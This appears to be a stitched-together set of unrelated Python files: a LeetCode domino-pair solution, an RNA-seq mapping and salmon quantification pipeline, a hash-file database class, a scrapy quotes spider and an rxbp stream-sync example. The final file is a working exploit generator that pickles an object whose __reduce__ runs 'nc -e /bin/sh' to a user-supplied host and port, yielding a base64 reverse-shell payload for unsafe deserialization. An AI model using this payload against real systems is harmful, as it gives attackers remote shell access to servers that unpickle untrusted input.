# 在 0 <= i < j < dominoes.length 的前提下，找出满足 dominoes[i] 和 dominoes[j] 等价的骨牌对 (i, j) 的数量。

# 来源：力扣（LeetCode）
# 链接：https://leetcode-cn.com/problems/number-of-equivalent-domino-pairs
# 著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
import collections
class Solution:
    def numEquivDominoPairs(self, dominoes: list) -> int:
        dominDict=collections.defaultdict(int)
        ans = 0
        for v1,v2 in dominoes:
            key = None
            if v1<=v2:
                key=(v1,v2)
            else:
                key=(v2,v1)
            ans+=dominDict[key]
            dominDict[key]+=1
        return ans


import glob
import os
import apa
import pybio
import sys
import json
import shutil
import regex
import gzip
from queue import *
from threading import *
from multiprocessing import Process # http://stackoverflow.com/questions/4496680/python-threads-all-executing-on-a-single-core

def map_experiment(lib_id, exp_id, map_id = 1, force=False, mapper="star", cpu=1, minlen=0.66, append=""):
    lib = apa.annotation.libs[lib_id]

    exp_id = int(exp_id)
    exp_data = apa.annotation.libs[lib_id].experiments[exp_id]
    map_folder = apa.path.map_folder(lib_id, exp_id, map_id = map_id, append=append)

    if os.path.exists(map_folder):
        if map_folder.find(lib_id)>0 and map_folder.find("m%s" % map_id)>0 and len(lib_id)>6: # security
            shutil.rmtree(map_folder)
    try:
        os.makedirs(map_folder)
    except:
        pass
    if os.path.exists(map_folder) and force==False:
        print("{lib_id}_e{exp_id} : MAP : skip (already mapped) or currently mapping".format(lib_id=lib_id, exp_id=exp_id))
        return

    if lib.seq_type=="single":
        fastq_file = apa.path.map_fastq_file(lib_id, exp_id, append=append)
        print("{lib_id}_e{exp_id} : MAP : {map_folder}".format(lib_id=lib_id, exp_id=exp_id, map_folder=map_folder))
        if mapper=="star":
            pybio.map.star(exp_data["map_to"], fastq_file, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu, minlen=minlen)
        if mapper=="sege":
            pybio.map.sege(exp_data["map_to"], fastq_file, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu)
        if mapper=="bowtie":
            pybio.map.bowtie(exp_data["map_to"], fastq_file, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu)
        if mapper=="bowtie2":
            pybio.map.bowtie2(exp_data["map_to"], fastq_file, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu)
        if mapper=="nano":
            pybio.map.nano(exp_data["map_to"], fastq_file, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu)

    if lib.seq_type=="paired":
        fastq_file1 = apa.path.map_fastq_file(lib_id, exp_id, append="_R1")
        fastq_file2 = apa.path.map_fastq_file(lib_id, exp_id, append="_R2")
        if mapper=="star":
            pybio.map.star_pair(exp_data["map_to"], fastq_file1, fastq_file2, map_folder, "%s_e%s_m%s%s" % (lib_id, exp_id, map_id, append), cpu=cpu, minlen=minlen)

def preprocess_lexfwd(lib_id):
    threads = []
    for exp_id, exp_data in apa.annotation.libs[lib_id].experiments.items():
        t = Process(target=preprocess_lexfwd_thread, args=[exp_id, lib_id])
        threads.append(t)

    while len(threads)>0:
        to_process = min(apa.config.cores, len(threads))
        for i in range(to_process):
            threads[i].start()
        for i in range(to_process):
            threads[i].join()
        threads[:to_process] = []

def preprocess_lexfwd_thread(exp_id, lib_id):
    fastq_file_raw = apa.path.map_fastq_file_raw(lib_id, exp_id)
    fastq_file = apa.path.map_fastq_file(lib_id, exp_id)
    if not os.path.exists(fastq_file_raw):
        return
    processed, written, cut = 0, 0, 0
    fout = gzip.open(fastq_file, "wb")
    f = pybio.data.Fastq(fastq_file_raw)
    prog = regex.compile(r'AAA(?:AAAAAAA){s<=2}') # first AAA, then 7A with possible 2 mismatches
    while f.read():
        processed += 1
        i = prog.search(f.sequence)
        if i!=None:
            seq = f.sequence[:i.start(0)]
            cut += 1
        else:
            seq = f.sequence
        qual = f.quality[:len(seq)]
        if len(seq)>12:
            seq = seq[12:]
            qual = qual[12:]
        if len(seq)>10:
            fout.write("%s\n%s\n+\n%s\n" % (f.id, seq, qual))
            written += 1
        if processed%100000==0:
            sys.stdout.write("e%s, processed=%.2fM, cut=%s, kept=%s\n" % (exp_id, processed/1000000.0, "%.2f%%" % (float(cut)/processed*100.0), "%.2f%%" % (float(written)/processed*100.0)))
    fout.close()
    fname = os.path.join(apa.path.data_folder, lib_id, "e%s" % exp_id, "%s_e%s_preprocess.tab" % (lib_id, exp_id))
    f = open(fname, "wt")
    f.write("e%s\nprocessed=%.2fM\ncut=%s\nkept=%s" % (exp_id, processed/1000000.0, "%.2f%%" % (float(cut)/processed*100.0), "%.2f%%" % (float(written)/processed*100.0)))
    f.close()
    return

def stats_to_tab(lib_id, map_id=1, append=""):
    fname_json = os.path.join(apa.path.lib_folder(lib_id), "%s_m%s%s.stats.json" % (lib_id, map_id, append))
    data = json.loads(open(fname_json).readline())
    fname = os.path.join(apa.path.lib_folder(lib_id), "%s_m%s%s.stats.tab" % (lib_id, map_id, append))
    print("writting statistics: {fname}".format(fname=fname))
    f = open(fname, "wt")
    header = [x for x in apa.annotation.libs[lib_id].experiments[list(apa.annotation.libs[lib_id].experiments.keys())[0]].keys() if x not in ["exp_id"]]
    header = ["exp_id"] + header + ["#reads [M]", "#mapped [M]" , "mapped [%]"]
    f.write("\t".join(header) + "\n")
    for exp_id, exp_data in apa.annotation.libs[lib_id].experiments.items():
        row = [exp_id]
        for x in header[1:-3]:
            row.append(exp_data[x])
        num_reads = data.get(str(exp_id), {}).get("num_reads", 0)
        map_reads = data.get(str(exp_id), {}).get("map_reads", 0)
        row = row + ["%.2f" % (num_reads/1e6), "%.2f" % (map_reads/1e6), "%.2f" % (map_reads*100.0/max(1, num_reads))]
        f.write("\t".join(str(x) for x in row) + "\n")
    f.close()

def stats(lib_id, map_id=1, append=""):
    for exp_id, exp_data in apa.annotation.libs[lib_id].experiments.items():
        stats_experiment(lib_id, exp_id, map_id=map_id)
    return

def stats_experiment(lib_id, exp_id, map_id=1, append=""):
    lib = apa.annotation.libs[lib_id]
    fname_json = os.path.join(apa.path.lib_folder(lib_id), "%s_m%s%s.stats.json" % (lib_id, map_id, append))
    map_folder = apa.path.map_folder(lib_id, exp_id, map_id=map_id, append=append)
    bam_file = os.path.join(map_folder, "%s_e%s_m%s%s.bam" % (lib_id, exp_id, map_id, append))
    if lib.seq_type=="single":
        fastq_files = [apa.path.map_fastq_file(lib_id, exp_id, append=append)]
    if lib.seq_type=="paired":
        fastq_files = [apa.path.map_fastq_file(lib_id, exp_id, append="_R1"), apa.path.map_fastq_file(lib_id, exp_id, append="_R2")]
    if os.path.exists(fname_json):
        data = json.loads(open(fname_json).readline())
    else:
        data = {}
    print("processing statistics: {lib_id}_e{exp_id}".format(lib_id=lib_id, exp_id=exp_id))
    if not os.path.exists(bam_file):
        return
    num_reads = 0
    for fastq_file in fastq_files:
        if not os.path.exists(fastq_file):
            continue
        output, error = pybio.utils.Cmd("zcat {fastq_file} | wc -l".format(fastq_file=fastq_file)).run()
        temp_reads = output.split("\n")[0] # get last line of output
        temp_reads = int(temp_reads)/4
        num_reads += temp_reads
    output, error = pybio.utils.Cmd("samtools view -c {bam_file}".format(bam_file=bam_file)).run()
    map_reads = output.split("\n")[0] # get last line of output
    map_reads = int(map_reads)
    data[exp_id] = {"num_reads":num_reads, "map_reads":map_reads}
    f = open(fname_json, "wt")
    f.write(json.dumps(data))
    f.close()
    stats_to_tab(lib_id)
    return

# make transcript expression table (salmon)
def salmon(lib_id):
    library = apa.annotation.libs[lib_id]
    script_fname = os.path.join(apa.path.data_folder, lib_id, "salmon", "%s_salmon.sh" % lib_id)
    table_fname = os.path.join(apa.path.data_folder, lib_id, "%s_salmon.tab" % lib_id)
    salmon_folder = os.path.join(apa.path.data_folder, lib_id, "salmon")
    try:
        os.makedirs(salmon_folder)
    except:
        pass
    max_exp = len(library.experiments)
    f = open(script_fname, "wt")
    map_to = library.experiments[next(iter(library.experiments))]["map_to"]
    version = pybio.genomes.get_latest_version(map_to)
    genome_folder = os.path.join(pybio.path.genomes_folder, "%s.transcripts.%s.salmon" % (map_to, version))
    f.write("#!/bin/bash\n")
    for exp_id in library.experiments.keys():
        fastq_file = apa.path.map_fastq_file(lib_id, exp_id)
        output_folder = os.path.join(apa.path.data_folder, lib_id, "salmon", "e%s" % exp_id)
        f.write("salmon quant -i %s -l A -r <(gunzip -c %s) --validateMappings -o %s\n" % (genome_folder, fastq_file, output_folder))
    f.close()

    os.system("chmod +x %s" % script_fname)
    os.system(script_fname)

    # find name mapping between transcripts and genes
    transcript_gene = {}

    t_files = glob.glob(os.path.join(apa.path.pybio_folder, "genomes", "%s.transcripts.*/*.fa.gz" % library.genome))
    t_fname = t_files[0]
    f = pybio.data.Fasta(t_fname)

    print("reading transcript->gene data: {t_fname}".format(t_fname=t_fname))
    while f.read():
        id = f.id.split(" ")
        t_id = id[0]
        gene_id = id[3].split(":")[1]
        gene_name = ""
        if len(id)>6:
            gene_name = id[6].split(":")[1]
        transcript_gene[t_id] = [gene_id, gene_name]

    # combine results for individual experiments into the master quant table
    master_quant_fname = os.path.join(apa.path.data_folder, lib_id, "salmon", "%s_salmon.tab" % lib_id)
    fout = open(master_quant_fname, "wt")
    row = ["transcript_id", "gene_id", "gene_name"]
    for exp_id in library.experiments.keys():
        row.append("e%s_TPM" % exp_id)
    fout.write("\t".join(row) + "\n")
    data = {}
    for exp_id in library.experiments.keys():
        data[exp_id] = {}
        quant_fname = os.path.join(apa.path.data_folder, lib_id, "salmon", "e%s" % exp_id, "quant.sf")
        f = open(quant_fname)
        r = f.readline()
        r = f.readline()
        while r:
            r = r.replace("\n", "").replace("\r", "").split("\t")
            transcript_id = r[0]
            tpm = r[3]
            data[exp_id][transcript_id] = tpm
            r = f.readline()
        f.close()
    tids = set()
    for exp_id in library.experiments.keys():
        tids = tids.union(data[exp_id].keys())
    tids = list(tids)
    for tid in tids:
        gene_id, gene_name = transcript_gene[tid]
        row = [tid, gene_id, gene_name]
        for exp_id in library.experiments.keys():
            row.append(data[exp_id].get(tid, 0))
        fout.write("\t".join(row) + "\n")
    f.close()


import common as aux
import codecs
import os

dbPath = "data.db"
dbHeaderPath = "data.h"

class Record:

    def __init__(self, listOfValues, dataInBytes):
        if (not dataInBytes):
            self.cod                                 = listOfValues[0]
            self.sgEntidadeEnsino                    = listOfValues[1]
            self.nmEntidadeEnsino                    = listOfValues[2]
            self.cdCursoPpg                          = listOfValues[3]
            self.nmCurso                             = listOfValues[4]
        else:
            listOfValues = listOfValues.decode("utf-8")
            self.cod                                 = listOfValues[0:4]
            self.sgEntidadeEnsino                    = listOfValues[4:24]
            self.nmEntidadeEnsino                    = listOfValues[24:110]
            self.cdCursoPpg                          = listOfValues[110:123]
            self.nmCurso                             = listOfValues[123:233]

        self.sizeInBytes = len(str(self))

    def __str__(self):
        return self.cod + self.sgEntidadeEnsino + self.nmEntidadeEnsino + self.cdCursoPpg + self.nmCurso

    def Clear(self):
        self.cod                 = '\x00' * 4
        self.sgEntidadeEnsino    = '\x00' * 20
        self.nmEntidadeEnsino    = '\x00' * 86
        self.cdCursoPpg          = '\x00' * 13
        self.nmCurso             = '\x00' * 110

        self.sizeInBytes = len(str(self))
class Block:

    def __init__(self, recordBytes):
        self.recordList = []
        for b in range(0, len(recordBytes), (aux.recordSize -1)):
            self.recordList += [Record(recordBytes[b : b + (aux.recordSize -1)], True)]

        self.firstEmptyRecordIndex = self.__FirstEmptyRecordIndex()

    def SizeInBytes(self):
        sizeInBytes = 0
        for record in self.recordList:
            sizeInBytes += record.sizeInBytes

        return sizeInBytes

    def __FirstEmptyRecordIndex(self):
        for i in range(len(self.recordList)):
            try:
                if (self.recordList[i].cod.index('\x00') >= 0):
                    return i
            except:
                pass
        return -1

    def __str__(self):
        str_block = ""
        for record in self.recordList:
            str_block += str(record)

        return str_block
class Bucket:
    def __init__(self, hashFile, startOffset):
        self.blocksList = []
        for i in range(startOffset, startOffset + aux.bucketSize * aux.blockSize * (aux.recordSize -1) - 1, aux.blockSize * (aux.recordSize -1)):
            self.blocksList += [Block(fetchBlockBytes(hashFile, i))]
        self.firstBlockWithEmptyRecordIndex = self.__FirstBlockWithEmptyRecordIndex()

    def __FirstBlockWithEmptyRecordIndex(self):
        for i in range(len(self.blocksList)):
            if (self.blocksList[i].firstEmptyRecordIndex != -1):
                return i

        return -1

def calculateHashKey(key):
    return int(key)

def calculateHashAddress(hashKey):
    return hashKey % aux.numberOfBuckets

def fetchBlockBytes(hashFile, startOffset):
    hashFile.seek(startOffset)
    return hashFile.read((aux.blockSize * (aux.recordSize -1)))

def createHashBD(csvFilePath):

    valuesToLoad = aux.padRecords(aux.readFromFile(csvFilePath))

    if os.path.exists(dbPath):
        os.remove(dbPath)

    with open(dbPath, 'wb') as hashFile:
        hashFile.seek((aux.bucketSize * aux.numberOfBuckets * aux.blockSize * (aux.recordSize -1)) - 1)
        hashFile.write(b'\0')
    recordCounter = 0
    aux.makeHEAD(dbHeaderPath, "Hash", 0)

    for row in valuesToLoad:
        recordCounter += 1
        record = Record(row, False)
        hashInsertRecordSingle(record)
    aux.updateHEAD(dbHeaderPath, "Hash", recordCounter)

def hashInsertRecordSingle(record):
    freeBlockIndex = -1
    freeSpaceIndex = -1

    hashKey     = calculateHashKey(record.cod)
    hashAddress = calculateHashAddress(hashKey)

    startingOffset = hashAddress * aux.bucketSize * aux.blockSize * (aux.recordSize - 1)

    with open(dbPath, 'r+b') as hashFile:
        while freeBlockIndex == -1:
            currentBucket = Bucket(hashFile, startingOffset)
            freeBlockIndex = currentBucket.firstBlockWithEmptyRecordIndex

            if (freeBlockIndex == -1):
                startingOffset += aux.bucketSize * aux.blockSize * (aux.recordSize - 1)
                pass
            else:
                currentBlock = currentBucket.blocksList[freeBlockIndex]
                freeSpaceIndex = currentBlock.firstEmptyRecordIndex
                currentBlock.recordList[freeSpaceIndex] = record

        hashFile.seek(startingOffset + (freeBlockIndex * aux.blockSize * (aux.recordSize - 1)))
        hashFile.write(str(currentBlock).encode("utf-8"))

def hashDeleteRecordById(searchKeys):
    for searchKey in searchKeys:
        freeBlockIndex = -1
        blocksVisitedCount = 0

        hashKey     = calculateHashKey(searchKey)
        hashAddress = calculateHashAddress(hashKey)

        startingOffset = hashAddress * aux.bucketSize * aux.blockSize * (aux.recordSize - 1)

        with open(dbPath, 'r+b') as hashFile:
            while freeBlockIndex == -1:
                currentBucket = Bucket(hashFile, startingOffset)
                freeBlockIndex = currentBucket.firstBlockWithEmptyRecordIndex
                foundRecord = False

                for i in range(len(currentBucket.blocksList)):
                    block = currentBucket.blocksList[i]
                    blocksVisitedCount += 1
                    for record in block.recordList:
                        if (record.cod == searchKey):
                            record.Clear()
                            foundRecord = True
                            hashFile.seek(startingOffset + (i * aux.blockSize * (aux.recordSize - 1)))
                            hashFile.write(str(block).encode("utf-8"))
                            print("Blocks visited for key {}: {}".format(searchKey, blocksVisitedCount))
                            print("Record deleted")
                            if (freeBlockIndex == -1):
                                freeBlockIndex = 0
                            break

                    if (foundRecord):
                        break

                if (not foundRecord):
                    if (freeBlockIndex == -1):
                        startingOffset += aux.bucketSize * aux.blockSize * (aux.recordSize - 1)
                        pass
                    else:
                        print("Record {} not found".format(searchKey))
                        print("Blocks visited for key {}: {}".format(searchKey, blocksVisitedCount))
                        pass

def hashSelectId(searchKeys):
    recordList = []
    for searchKey in searchKeys:
        freeBlockIndex = -1
        blocksVisitedCount = 0

        hashKey     = calculateHashKey(searchKey)
        hashAddress = calculateHashAddress(hashKey)

        startingOffset = hashAddress * aux.bucketSize * aux.blockSize * (aux.recordSize - 1)
        print("\nRunning query: ")
        print("\nSELECT * FROM TABLE WHERE COD in " + str(searchKeys) + ";\n\n")

        with open(dbPath, 'r+b') as hashFile:
            while freeBlockIndex == -1:
                currentBucket = Bucket(hashFile, startingOffset)
                freeBlockIndex = currentBucket.firstBlockWithEmptyRecordIndex
                foundRecord = False

                for block in currentBucket.blocksList:
                    blocksVisitedCount += 1
                    for record in block.recordList:
                        if (record.cod == searchKey):
                            recordList += [record]
                            foundRecord = True
                            print("Blocks visited for key {}: {}".format(searchKey, blocksVisitedCount))
                            if (freeBlockIndex == -1):
                                freeBlockIndex = 0
                            break

                    if (foundRecord):
                        print(record)
                        break

                if (not foundRecord):
                    if (freeBlockIndex == -1):
                        startingOffset += aux.bucketSize * aux.blockSize * (aux.recordSize - 1)
                        pass
                    else:
                        print("Record {} not found".format(searchKey))
                        print("Blocks visited for key {}: {}".format(searchKey, blocksVisitedCount))
                        pass

    return recordList

def hashSelectColumns(colName, value, singleRecordSelection = False, valueIsArray = False, secondColName = "", secondValue = "", idResult = []):
    blocksScanned = 0
    recordFound = False
    endOfFile = False
    values = ""
    if valueIsArray:
        for val in value:
            values+= val + ", "
        values = values[:len(values)-2]

    if colName not in aux.colHeadersList:
        print("Error: Column name not found in relation.")
        return
    columnIndex = aux.colHeadersList.index(colName)
    secondValuePresent = False

    secondColumnIndex = -1
    if secondColName != "" and secondValue != "":
        if secondColName not in aux.colHeadersList:
            print("Error: Second column name not found in relation")
            return
        secondColumnIndex = aux.colHeadersList.index(secondColName)
        secondValuePresent = True

    print("\nRunning query: ")
    if singleRecordSelection:
        if valueIsArray:
            print("\nSELECT * FROM TABLE WHERE " + colName + " IN (" + values + ") LIMIT 1;\n\n")
        else:
            if secondValuePresent:
                print("\nSELECT * FROM TABLE WHERE " + colName + " = " + value + " AND " + secondColName + "=" + secondValue + " LIMIT 1;\n\n")
            else:
                print("\nSELECT * FROM TABLE WHERE " + colName + " = " + value + " LIMIT 1;\n\n")
    else:
        if valueIsArray:
            print("\nSELECT * FROM TABLE WHERE " + colName + " IN (" + values + ");\n\n")
        else:
            if secondValuePresent:
                print("\nSELECT * FROM TABLE WHERE " + colName + " = " + value + " AND " + secondColName + "=" + secondValue + ";\n\n")
            else:
                print("\nSELECT * FROM TABLE WHERE " + colName + " = " + value + ";\n\n")

    customRecord= 0
    results = []
    while not (recordFound or endOfFile):
        currentBlock = aux.fetchBlock(dbPath, customRecord)
        if currentBlock == []:
            endOfFile = True
            break
        blocksScanned +=1
        for i in range(len(currentBlock)):
            if (not valueIsArray and ((not secondValuePresent and currentBlock[i][columnIndex] == value) or (secondValuePresent and currentBlock[i][columnIndex]==value and currentBlock[i][secondColumnIndex]==secondValue) ) ) or (valueIsArray and currentBlock[i][columnIndex] in value):
                results += [currentBlock[i]]
                idResult += [currentBlock[i][0]]
                if singleRecordSelection:
                    recordFound = True
                    break
        customRecord +=aux.blockSize

    if results == []:
        if valueIsArray:
            print("Não foi encontrado registro com "+colName+ " in (" + values +")")
        else:
            print("Não foi encontrado registro com valor " +colName+ " = " + value)

    else:
        print("Results found: \n")
        for result in results:
            print(result)

    print("\n")
    print("End of search.")
    print("Number of blocks fetched: " + str(blocksScanned))
    return idResult

def hashSelectRecord(input1, input2 = "SINGLE", singleRecordSelection = False, valueIsArray = False, secondColName = "", secondValue = "", betweenTwoValues = False):
    if(str(input2) == "SINGLE"):
        if(betweenTwoValues == False):
            hashSelectId(input1)
        else:
            for i in range(int(input1[0]), int(input1[1])):
                values = []
                values.append(str(i))
                hashSelectId(values)
    else:
        hashSelectColumns(input1, input2, singleRecordSelection, valueIsArray, secondColName, secondValue)

def hashInsertRecord(records):
    records = aux.padRecords(records)
    for i in range(len(records)):
        valueToInsert = Record(records[i], False)
        hashInsertRecordSingle(valueToInsert)

def hashDeleteRecord(input1, input2 = "SINGLE"):
    if(input2 == "SINGLE"):
        hashDeleteRecordById(input1)
    else:
        listToDelete = hashSelectColumns(input1, input2)
        hashDeleteRecord(listToDelete)


# Upen's code
"""This script scrapes quotes from toscrpe.com and yields them as a dictionary."""

import scrapy

base = "https://quotes.toscrape.com/api/quotes?page={}"

class InfiScroll2Spider(scrapy.Spider):
    name        = 'infi_scroll2'
    start_urls  = [base.format(1)]

    def parse(self, response):
        data = response.json()

        # print(f"Has Next: {data['has_next']}")
        # print(f"Page No: {data['page']}")
        current_page = data['page']

        for quote in data['quotes']:
            yield {
                "author": quote['author']['name'],
                "quote" : quote['text']
            }

        if data['has_next']:
            next_page_url = base.format(current_page+1)
            yield scrapy.Request(next_page_url)


"""
This example uses the match operator to match three records with different
sampling instances.
"""

import math
from typing import Dict

import rx
from matplotlib import pyplot
from rx import operators as rxop
from rx.subject import Subject

import rxbp
from rxbp.indexed.indexedflowable import IndexedFlowable

subject = Subject()

fdict = {
    't_main': rxbp.indexed.from_flowable(source=rxbp.from_rx(subject), base='t_main').share(),
    't_1': rxbp.indexed.range(0, 100, base='t_1').pipe(
        rxbp.op.map(lambda i: 10 * i/100 * 0.9 + 2.1),
    ).share(),
    't_2': rxbp.indexed.range(0, 100, base='t_2').pipe(
        rxbp.op.map(lambda i: 10 * i/100 * 1.05 + 0.9),
    ).share(),
}

def time_value_flowables(fdict: Dict[str, IndexedFlowable]):
    return {
        'v_main': fdict['t_main'].pipe(
            rxbp.op.map(lambda t: math.cos(t * 2 * math.pi - math.pi / 8)),
        ),
        'v_1': fdict['t_1'].pipe(
            rxbp.op.map(lambda t: math.cos(t * 2 * math.pi - math.pi / 8)),
        ),
        'v_2': fdict['t_2'].pipe(
            rxbp.op.map(lambda t: math.cos(t * 2 * math.pi - math.pi / 8)),
        ),
        **fdict,
    }

def interpolate_value(t_pair, v_pair, t):
    (t1, t2) = t_pair
    (v1, v2) = v_pair

    return v1 + (t - t1) / (t2 - t1) * (v2 - v1)

def sync_t1_to_tmain(fdict: Dict[str, IndexedFlowable]):
    t_1_base_main = fdict['t_1'].pipe(
        rxbp.op.pairwise(),
        rxbp.op.controlled_zip(
            right=fdict['t_main'],
            request_left=lambda l, r: l[1] <= r,
            request_right=lambda l, r: r < l[1],
            match_func=lambda l, r: l[0] <= r < l[1],
        ),
    )

    return {
        't_1_base_main': t_1_base_main,
        **fdict
    }

def sync_t2_to_tmain(fdict: Dict[str, IndexedFlowable]):
    t_2_base_main = fdict['t_2'].pipe(
        rxbp.op.pairwise(),
        rxbp.op.controlled_zip(
            right=fdict['t_main'],
            request_left=lambda l, r: l[1] <= r,
            request_right=lambda l, r: r < l[1],
            match_func=lambda l, r: l[0] <= r < l[1],
        ),
    )

    return {
        't_2_base_main': t_2_base_main,
        **fdict
    }

def sync_t1_and_t2(fdict: Dict[str, IndexedFlowable]):
    t_sync = fdict['t_1_base_main'].pipe(
        rxbp.indexed.op.match(
            fdict['t_2_base_main'],
        ),
    )

    return {
        't_sync': t_sync.pipe(rxbp.op.map(lambda t: t[0][1])),
        't_1_sync': t_sync.pipe(rxbp.op.map(lambda t: t[0])),
        't_2_sync': t_sync.pipe(rxbp.op.map(lambda t: t[1])),
        **fdict,
    }

def interpolate_v1(fdict: Dict[str, IndexedFlowable]):
    v_1_sync = fdict['v_1'].pipe(
        rxbp.op.pairwise(),
        rxbp.indexed.op.match(
            fdict['t_1_sync'],
        ),
        rxbp.op.map(lambda t: interpolate_value(t_pair=t[1][0], v_pair=t[0], t=t[1][1]))
    )

    return {
        'v_1_sync': v_1_sync,
        **fdict,
    }

def interpolate_v2(fdict: Dict[str, IndexedFlowable]):
    v_2_sync = fdict['v_2'].pipe(
        rxbp.op.pairwise(),
        rxbp.indexed.op.match(
            fdict['t_2_sync'],
        ),
        rxbp.op.map(lambda t: interpolate_value(t_pair=t[1][0], v_pair=t[0], t=t[1][1]))
    )

    return {
        'v_2_sync': v_2_sync,
        **fdict,
    }

def sel_flow(fdict: Dict[str, IndexedFlowable]):
    output = fdict['t_sync'].pipe(
        rxbp.op.zip(
            fdict['v_1_sync'],
            fdict['v_2_sync'],
        ),
    )

    return output

result = []

rxbp.multicast.return_value(fdict).pipe(
    rxbp.multicast.op.map(time_value_flowables),
    rxbp.multicast.op.map(sync_t1_to_tmain),
    rxbp.multicast.op.map(sync_t2_to_tmain),
    rxbp.multicast.op.map(sync_t1_and_t2),
    rxbp.multicast.op.map(interpolate_v1),
    rxbp.multicast.op.map(interpolate_v2),
    rxbp.multicast.op.map(sel_flow),
).to_flowable().subscribe(
    on_next=lambda v: result.append(v),
    on_completed=lambda: print('completed')
)

rx.range(0, 1000).pipe(
    rxop.map(lambda i: 10 * i/1000 * 1.01 + 1.4),
).subscribe(subject)

t, v1, v2 = list(zip(*result))

pyplot.plot(t, v1)
pyplot.plot(t, v2)
pyplot.show()


import pickle, base64,os
lhost=input("LHOST: ")
lport=input("LPORT: ")
class PAYLOAD(object):
  def __reduce__(self):
    return (os.system,(f"nc -nv {lhost} {lport} -e /bin/sh",))
deserialpayload = PAYLOAD()
serialpayload = pickle.dumps(deserialpayload)
payload = base64.b64encode(serialpayload)
print(payload)